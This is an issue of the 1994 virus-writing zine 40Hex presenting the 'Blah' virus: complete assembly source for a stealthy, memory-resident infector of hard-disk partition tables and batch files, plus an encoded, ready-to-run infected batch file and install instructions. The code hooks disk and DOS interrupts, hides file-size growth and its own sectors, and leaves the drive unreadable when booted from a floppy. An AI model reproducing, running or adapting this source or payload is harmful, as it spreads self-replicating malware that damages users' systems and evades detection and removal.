40Hex Number 14 Volume 5 Issue 1 File 005 The Blah virus is a memory-resident, stealth, multipartite partition table/ batch file virus. What follows is the raw source file. After the source file is a batch file infected with Blah which demonstrates the workings of the virus. To install the virus, simply run this batch file. Or you can assemble the source, run the output file, and then execute a batch file. Be cautious when running this virus, however, since it immediately infects the partition table and your hard drive will become unavailable should you boot from diskette. You have been warned! comment ~ The Blah virus The world's only stealth, multipartite PT/BAT infector Written by Dark Angel at the end of 1994 This virus is "mostly stealth" and "mostly harmless". It infects the partition table on hd0 as well as batch files. To install the virus, simply assemble this source to a COM file and run the output. The virus will then reside on the partition table of the first hard drive of the computer. The partition table portion of the virus loads itself into the slack space between the partition table and the first disk partition. The virus assumes the first disk partition is the one closest to the partition table, which is reasonable. It only infects the partition table on the first physical hard drive, since that will always be loaded anyway. The original partition table is stored following the virus code in the aforementioned slack space. Since the partition table infector does not copy the partition table itself into its code, several effects result. First, the system will not recognise the hard drive if it is booted from a floppy. This can be considered a useful side-effect, since it prevents disinfection via a clean boot. Additionally, when modifying the virus, one must take care to keep the word 0AA55 at offset 01FE in the file, or else the BIOS will not recognise the partition table as a valid one. If you edit a batch file while the virus is in memory, the batch file will become infected by the virus, but will load into memory as if it were uninfected. When you save the file, it will remain uninfected. However, once you run the batch file, it will again become infected. This virus adds 3004 bytes to batch files. However, this file will assemble to 1148 bytes, since an encoded form of this file is written to batch files. The virus prepends its own code to the batch files that it infects. This code consists of lines which 1. create an executable file 2. run this executable file 3. delete the executable file and 4. reruns the batch file. The code which creates the executable file is simply a bunch of ECHO statements which are redirected into a file. These characters, when run, will run the code you see below. The bytes following the ECHO consist of code which reassembles and runs the code below and the data of the virus, which is encoded in a special printable text-only format. The virus removes this file after it has executed it in order to cover its traces. Finally, the virus runs the batch file again. This is to allow the stealth to work properly. The stealth works by bumping up all read requests on infected files by an amount equal to the size of the virus prepended text. The stealth is designed to not take effect until after the third file open it sees. Since DOS opens batch files each time it needs to execute the next command, this is the equivalent of waiting until after two statements have executed. This leaves enough time to remove the temporary file and reexecute the batch file. Now the stealth kicks in and DOS doesn't even see the virus code in the batch file. The virus hides the filelength increase on directory searches (in .BAT files only, of course). It also hides itself from reads (with handle calls only). It infects when a .BAT file is opened. It stamps files with a 62 second mark, but that is for the findfirst/findnext routine only. The checks for previous infection do not make any assumptions based on the file creation time. The virus also prevents overwriting of itself in the partition table. It also redirects attempts to view absolute sector 0. However, it does not try to stop reads to other parts of the disk that are infected, i.e. the sectors immediately following the first. The source code to the decoder (the raw text is included in the virus) can be found at the end. Anyway, this virus was written mostly because I felt like doing something lame. I think I succeeded, with only a modest effort. Dark Angel, Phalcon/Skism, 31 December 1994 Happy New Year's! ~ .model tiny .code .radix 16 org 0 our_buffer label byte org 80 line label byte org 100 viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f resK = (end_all - our_buffer + 3ff) / 400 resP = resK * 40 sector_length = (heap - blah + 1ff) / 200 blah: xor bp,bp xor si,si cmp [si],20CDh ; check if there is a PSP jz in_com ; to see if we are in COM or ; boot (don't just check SP ; since COM might not load in ; a full segment if memory is ; sparse) inc bp ; hey! we're in the boot sector or the partition table ; assume in partition table for the time being push si cli pop ss mov sp,-2 ; doesn't really matter sti mov ax,200 + sector_length mov es,si mov bx,7c00 + 200 mov cx,2 mov dx,80 int 13 mov dx,0f800 db 0ea dw offset install, 7b0 in_com: mov dx,0f904 mov ah,62 ; get the PSP int 21 ; also tells existing copies ; to disable themselves ; (for NetWare compatability) dec bx ; go to MCB so we can mov ds,bx ; twiddle with it sub word ptr [si+3],resP ; reserve two K of memory sub word ptr [si+12],resP ; in DOS for the virus install: mov cs:init_flag,dl mov byte ptr cs:i13_patch,dh mov ds,si ; reserve two K of memory mov dx,word ptr ds:413 sub dx,resK mov word ptr ds:413,dx ; from the BIOS count mov cl,6 shl dx,cl ; K -> paragraph les ax,ds:84 mov cs:old_i21,ax mov cs:old_i21+2,es les ax,ds:4c mov cs:old_i13,ax mov cs:old_i13+2,es mov es,dx push cs pop ds mov si,offset blah mov di,si mov cx,(offset end_zopy - blah + 1) / 2 rep movsw mov es,cx mov es:4c,offset i13 mov es:4e,dx or bp,bp jz exit_com exit_boot: mov ax,201 ; read the original partition xor cx,cx ; table to 0:7C00 mov dx,80 ; since the i13 handler is in mov es,cx ; place, we can load from where inc cx ; the partition table should mov bx,7c00 ; be, instead of where it pushf push es bx ; actually is jmp dword ptr [bp+4bh] ; int 13 / iret exit_com: mov es:84,offset i21 mov es:86,dx infect_hd: push ax cx dx bx ds es push cs cs pop es ds mov ax,201 mov bx,100 + (sector_length*200) mov cx,1 mov dx,80 call call_i13 ; get original partition table adj_ofs = (100 + (sector_length*200)) cmp word ptr cs:[adj_ofs+decoder-blah],'e@' jz already_infected mov al,ds:[adj_ofs+1C0] cbw or ax,ds:[adj_ofs+1C2] jnz enough_room cmp byte ptr ds:[adj_ofs+1C1],sector_length+1 jbe already_infected ; not enough room for virus enough_room: mov ax,301 + sector_length ; write to disk mov bx,100 ; cx = 1, dx = 80 already call call_i13 already_infected: pop es ds bx dx cx ax ret db 'Blah virus',0 db '(DA/PS)',0 ; I indulged myself in writing the decoder; it's rather much larger than it ; needs to be. This was so I could insert random text strings into the code. ; The decoder creates a file which, when run, will execute the encoded file. ; In this case, we are encoding the virus. See the beginning for a complete ; explanation of how the virus works. decoder db '@echo PSBAT!PS' fsize dw -1 * (heap - blah) db 'XYZUS 2Hج,AêMt t>',0ba,'.com',0Dh,0A db '@echo 2YP󤫸2૾PSDBDA' endline: db '>>',0ba,'.com',0Dh,0A ; The next line is to ease the coding. This way, the same number of statements ; pass between the running of the temporary program and the reloading of the ; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running ; the temporary file installs the virus into memory. Note the following lines ; are never seen by the command interpreter if the virus is already resident. enddecoder: db '@if %0. == . ',0ba,0Dh,0A db '@',0ba,0Dh,0A db '@del ',0ba,'.com',0Dh,0A ; The next line is necessary because autoexec.bat is loaded with %0 == NULL ; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT, ; which would be a shame. db '@if %0. == . autoexec',0Dh,0A db '@%0',0Dh,0A endcleanup: chain_i13: push [bp+6] call dword ptr cs:old_i13 pushf pop [bp+6] ret call_i13: pushf call dword ptr cs:old_i13 ret write: mov ah,40 calli21: pushf call dword ptr cs:old_i21 ret check_signature:and word ptr es:[di+15],0 push es di cs cs pop ds es mov ah,3f cwd ; mov dx,offset our_buffer mov cx,enddecoder - decoder call calli21 cld mov si,offset decoder mov di,dx mov cx,enddecoder - decoder rep cmpsb pop di es ret i13: clc ; this is patched to jnc i13_patch ; disable the i13 handler jmp disabled_i13 ; this is a stupid hiccup i13_patch: clc ; this is patched to once jc multipartite_installed ; i21 is installed push ax bx ds es mov ax,0AA55 ; offset 02FE of the virus ; this is the PT signature xor ax,ax mov es,ax lds bx,es:84 mov ax,ds cmp ax,cs:old_i21+2 jz not_DOS_yet or ax,ax ; Gets set to address in zero jz not_DOS_yet ; segment temporarily. ignore. cmp ax,800 ja not_DOS_yet cmp ax,es:28*4+2 ; make sure int 28 handler jnz not_DOS_yet ; the same (OS == DOS?) cmp bx,cs:old_i21 jz not_DOS_yet install_i21: push cs pop ds mov ds:old_i21,bx mov ds:old_i21+2,ax mov es:84,offset i21 mov es:86,cs inc byte ptr ds:i13_patch not_DOS_yet: pop es ds bx ax multipartite_installed: push bp mov bp,sp cmp cx,sector_length + 1 ; working on virus area? ja jmp_i13 cmp dx,80 jnz jmp_i13 cmp ah,2 ; reading partition table? jz stealth_i13 not_read: cmp ah,3 ; write over partition table? jnz jmp_i13 call infect_hd push si cx bx ax mov al,1 cmp cl,al ; are we working on partition jnz not_write_pt ; table at all? mov cx,sector_length + 1 call chain_i13 jc alt_exit_i13 not_write_pt: pop ax push ax cbw sub al,sector_length + 2 ; calculate number of remaining add al,cl ; sectors to write js alt_exit_i13 jz alt_exit_i13 push cx sub cx,sector_length + 2 ; calculate number of sectors neg cx ; skipped addd: add bh,2 ; and adjust buffer pointer loop addd ; accordingly pop cx or ah,1 ; ah = 1 so rest_stealth makes jmp short rest_stealth ; it a write jmp_i13: pop bp disabled_i13: jmp dword ptr cs:old_i13 stealth_i13: push si cx bx ax call infect_hd mov si,bx mov al,1 cmp cl,al jnz not_read_pt mov cx,sector_length + 1 call chain_i13 jc alt_exit_i13 add bh,2 ; adjust buffer ptr not_read_pt: pop ax push ax push di ax mov di,bx mov ah,0 add al,cl cmp al,sector_length + 2 jb not_reading_more mov al,sector_length + 2 not_reading_more:cmp cl,1 jnz not_pt dec ax not_pt: sub al,cl jz dont_do_it ; resist temptation! mov cl,8 shl ax,cl ; zero out sectors mov cx,ax cbw ; clear ax rep stosw mov bx,di ; adjust buffer dont_do_it: pop ax di mov ah,0 mov cl,9 sub si,bx neg si shr si,cl sub ax,si jz alt_exit_i13 rest_stealth: sub ax,-200 mov cx,sector_length + 2 call chain_i13 alt_exit_i13: pop bx mov al,bl pop bx cx si bp iret i24: mov al,3 iret chain_i21: push [bp+6] ; push flags on stack again call dword ptr cs:old_i21 pushf ; put flags back onto caller's pop [bp+6] ; interrupt stack area ret infect_bat: mov cx,200 ; conquer the holy batch file! move_up: sub bp,cx jns $+6 add cx,bp xor bp,bp mov es:[di+15],bp ; move file pointer mov ah,3f ; read in portion of the file mov dx,offset big_buffer call calli21 add word ptr es:[di+15],viruslength sub word ptr es:[di+15],ax call write ; move the data up or bp,bp jnz move_up move_up_done: mov word ptr es:[di+15],bp ; go to start of file mov cx,enddecoder - decoder mov dx,offset decoder call write push es di cs pop es mov bp,heap - blah mov si,offset blah encode_lines: mov di,offset line mov cx,20 encode_line: lodsb push ax and ax,0F0 inc ax stosb pop ax and ax,0F add al,'A' stosb dec bp jz finished_line loop encode_line finished_line: mov cx,6 mov dx,offset decoder call write mov cx,di mov dx,offset line sub cx,dx call write mov cx,enddecoder-endline mov dx,offset endline call write or bp,bp jnz encode_lines pop di es mov cx,endcleanup - enddecoder mov dx,offset enddecoder call write ret ; check neither extension nor timestamp in case file was renamed or ; something like that ; will hang without this stealth because of the line ; @%0 that it adds to batch files handle_read: push es di si ax cx dx ds bx xor si,si cmp cs:init_flag,0 jnz dont_alter_read mov ax,1220 int 2f jc dont_alter_read xor bx,bx mov bl,es:di mov ax,1216 int 2f ; es:di now -> sft jc dont_alter_read pop bx ; restore the file handle push bx push es:[di+15] ; save current offset call check_signature mov si,viruslength pop bx jz hide_read xor si,si hide_read: add bx,si mov es:[di+15],bx dont_alter_read:pop bx ds dx cx ax call chain_i21 sub es:[di+15],si pop si di es _iret: pop bp iret handle_open: cmp cs:init_flag,0 jz keep_going dec cs:init_flag keep_going: call chain_i21 jc _iret push ax cx dx bp si di ds es xchg si,ax ; filehandle to si mov ax,3524 int 21 push es bx ; save old int 24 handler xchg bx,si ; filehandle back to bx push bx mov si,dx ; ds:si->filename push ds mov ax,2524 ; set new int 24 handler push cs pop ds mov dx,offset i24 call calli21 pop ds cld find_extension: lodsb ; scan filename for extension or al,al ; no extension? jz dont_alter_open cmp al,'.' ; extension? jnz find_extension lodsw ; check if it's .bat or ax,2020 cmp ax,'ab' jnz dont_alter_open lodsb or al,20 cmp al,'t' jnz dont_alter_open mov ax,1220 ; if so, get jft entry int 2f jc dont_alter_open xor bx,bx mov bl,es:di mov ax,1216 ; now get SFT int 2f jc dont_alter_open pop bx ; recover file handle push bx mov bp,word ptr es:[di+11] ; save file size or bp,bp jz dont_alter_open mov byte ptr es:[di+2],2 ; change open mode to r/w mov ax,word ptr es:[di+0dh] ; get file time and ax,not 1f ; set the seconds field or ax,1f mov word ptr es:[di+0dh],ax call check_signature jz dont_alter1open ; infected already! call infect_bat dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time and word ptr es:[di+15],0 mov byte ptr es:[di+2],0 ; restore file open mode dont_alter_open:pop bx dx ds mov ax,2524 call calli21 pop es ds di si bp dx cx ax bp iret findfirstnext: call chain_i21 ; standard file length push ax bx si ds es ; hiding cmp al,-1 jz dont_alter_fffn mov ah,2f ; get the DTA to es:bx int 21 push es pop ds cmp byte ptr [bx],-1 jnz not_extended add bx,7 ; won't hide if extension is changed, but otherwise gives it away by disk ; accesses not_extended: cmp word ptr [bx+9],'AB' jnz dont_alter_fffn cmp byte ptr [bx+0bh],'T' jnz dont_alter_fffn cmp word ptr [bx+1dh],viruslength jb dont_alter_fffn mov al,[bx+17] and al,1f cmp al,1f jnz dont_alter_fffn and byte ptr [bx+17],not 1f sub word ptr [bx+1dh],viruslength dont_alter_fffn:pop es ds si bx ax bp iret inst_check: cmp bx,0f904 jnz jmp_i21 push si di cx mov si,offset blah mov di,100 mov cx,offset i13 - offset blah db 2e rep cmpsb jnz not_inst inc byte ptr cs:i13 ; disable existing copy of inc byte ptr cs:i21 ; the virus not_inst: pop si di cx jmp short jmp_i21 i21: clc jc disabled_i21 push bp mov bp,sp cmp ah,11 jz findfirstnext cmp ah,12 jz findfirstnext cmp ah,62 jz inst_check cmp ax,3d00 jnz not_open jmp handle_open not_open: cmp ah,3f jnz jmp_i21 jmp handle_read jmp_i21: pop bp disabled_i21: db 0ea ; call original int 21 heap: ; g old_i21 dw ?, ? ; handler old_i13 dw ?, ? init_flag db ? end_zopy: org 100 + ((end_zopy - blah + 1ff) / 200) * 200 orig_PT db 200 dup (?) big_buffer db 200 dup (?) end_all: end blah ; The complimentary decoder included with every copy of blah .model tiny .code .radix 16 org 100 decode: db 'PSBAT!' ; translates to some random code mov di,offset buffer db 0bdh ; mov bp, datasize datasize dw 'Y0' db 'XYZ' ; more text that is also code neg bp push bp mov si,offset databytes keep_going: mov cx,2020 xor ch,cl decode_line: lodsb dec ax ; tens digit mov bx,ax lodsb sub al,'A' add ax,bx stosb dec bp jz all_done loop decode_line all_done: or bp,bp jz no_more lodsw ; skip CRLF jmp keep_going db 0Dh,0A ; split file into two lines no_more: mov ax,0fcfc xor ah,al pop cx ; how many bytes to move push ax xchg ax,di mov ax,0a4f3 stosw mov ax,0ebebh ; flush prefetch queue xor ah,al stosw mov si,offset buffer mov di,100 + 4144 sub di,'AD' retn db 0Dh,0Ah ; split the file s'more databytes: org 5350 ; 50/53 == P/S buffer: end decode ------ @echo PSBAT!PSXYZUS 2Hج,AêMt t>.com @echo 2YP󤫸2૾PSDBDA>>.com @echo 1DN1DGB1MN!AqE!AAFQGKHMOPLIDCOGLAqOJCAKAA>>.com @echo NDKAIK1OBAHKEJEaCN!BALOLBaMDAABaMCAA!OI>>.com @echo GKG!OI1GGCOOLGDEDKDJGDEBGDCEGEA!ODC>>.com @echo G!OMGEGEGAMA!ODGG!OMGIGOCOPOABLOJOCD>>.com @echo FOB!GHGAMAAC!GJGAOALNqEEIBC1DJKAAOBABLA>>.com @echo qMMGQDPaOAL!GHGEALF!GJGGAQAQBQCQDOGOOHPIBC>>.com @echo LAHJBAKAAICA!OB1OJIAAaFqEKAAIILGCIqFHA>>.com @echo 1OBIEqGJIEDLABIPAHPQLQKQJQIDACaMaBaI!AqGaJqCqFqD>>.com @echo A!IAEAB!PQAQD!JAAAaFaDaIaP!AIQAQDACABQE!BIPQAQDNOKQIQJQK>>.com @echo HNQFOQDBJ!A!A1CJMAILIM!MABDDKANqECCBLNqEFNL>>.com @echo F1OK!OaDaPaNNKAAaFaDaIaP!AIMM1CAQJQAHIDELILL1CA>>.com @echo LOQAQDPAEACBPAEABD1O1OK!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>>.com @echo !O!AKNKAAKNKAAaEaFaM!AK!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>>.com @echo !O!AaBqFqEaPaFqIaFaDNKAA!F1ANKPqGG!OPOGGMPAGGDM!O>>.com @echo POGGDEAAM!OPOCGD!GDaFFAGQHOOPHE1PJJaMAI>>.com @echo FPMOJCLKJaMADGQPHDIqDDJKAJqCANQAQDOGIQFK>>.com @echo 1DAOA!GFOEAMI!O1LGEGqE1ALAqE!M1NAIqH!H!G1LGCA>>.com @echo qF!A!O1LOCGqEJOPJOCGDEG!GHGEALF!GMOGAOG>>.com @echo GCHPQLQIQFLMDJEqHABBKAAqF1LAMCqE1MAMDqF1BIQC>>.com @echo OQGQBQDQAAB1KIqFIJEAIAAPqCqKQIQAI!MFCBqIqBqEaPQBD>>.com @echo JFHJAHCCLQJAMBLQFQN!OP!OGGQGQBQDQAIHOLDAB>>.com @echo 1KIqFLJEAIHPqCABAHCQIQAQHQALLEACB1MFqCCAFA>>.com @echo JBqFBAI!KBqELBIDALIIDLLPQIQPEABJ!LDHODO>>.com @echo !LGqEJ!NAOJFAIEOQLKDQLQJQOQNPADPPqGG!OPOCG>>.com @echo MPAGGDJAC!LJqJEDN1DN!GJaNFE1PKAJILO!GBAFF>>.com @echo 1DN!G!JAFFIMOLNqFL!GJaNFJaMAKJCILOGQHOHNC>>.com @echo FOABPAAJ!AAMQA!FAAAAKQI!FPAEABKANqECCNJGA>>.com @echo KJCIQPOLPKAA!LKIQFOJJAKaMCIAMOLNqFHQPHJ>>.com @echo 1MAKqFCI1NODGQHQGQAQBQCOQD1DG!OA1OKGAqF!KI!ACN!P>>.com @echo qC!D1DL!GKNIGCN!PqCHQLQD!GPqFFIHOO1DNQLqEC1DGD>>.com @echo O!GJQNFQLPQKQJQII!LP!G!JqFFQOQPHQNP!OA1OKGAqEF!OO>>.com @echo OKGICPqCMQAQBQCQFQGQHOGGI!E1FN!BGQDHOQDLCOI!E>>.com @echo !FOPKFDIONPMMKAqEQL1M!OqFHNN!A!A1NaCaBqFAOMM!A>>.com @echo 1MqEqFAHI!ACN!PqCAA1DL!GKNIGCN!PqC1EQLQD!GLaNBLNqE>>.com @echo !K!GGAFCC!GLAFN!FAPNPA!GJAFNIqHNqEDIJO!GAANG>>.com @echo AA!GDaFFA!GGAFCAQLQKPI!E!FIQDNHPQPQOQNQKQJQIQNPIqH>>.com @echo OQAQDQGOG1MPqE1EE!PN!BGPA1PPqFDDDHBqPJACABqFPA>>.com @echo qPLQEqFJBqPN1DNqCCKAHH!EP1MPqFJAaHHABaPN1DNHP>>.com @echo QOQLQIQNPBLEJqFAFQGQHQBOABPABJAB!ODGqFK!OOGA>>.com @echo C!OOGLFQOQPQJL!FIqC!DQFLMAMBqEIAMCqEDAMaCqEF>>.com @echo 1NA1NqFDJOOAM1PqFDJqJOQNK>>.com @if %0. == . @ @del .com @if %0. == . autoexec @%0 @echo Beware.....PLURG! ------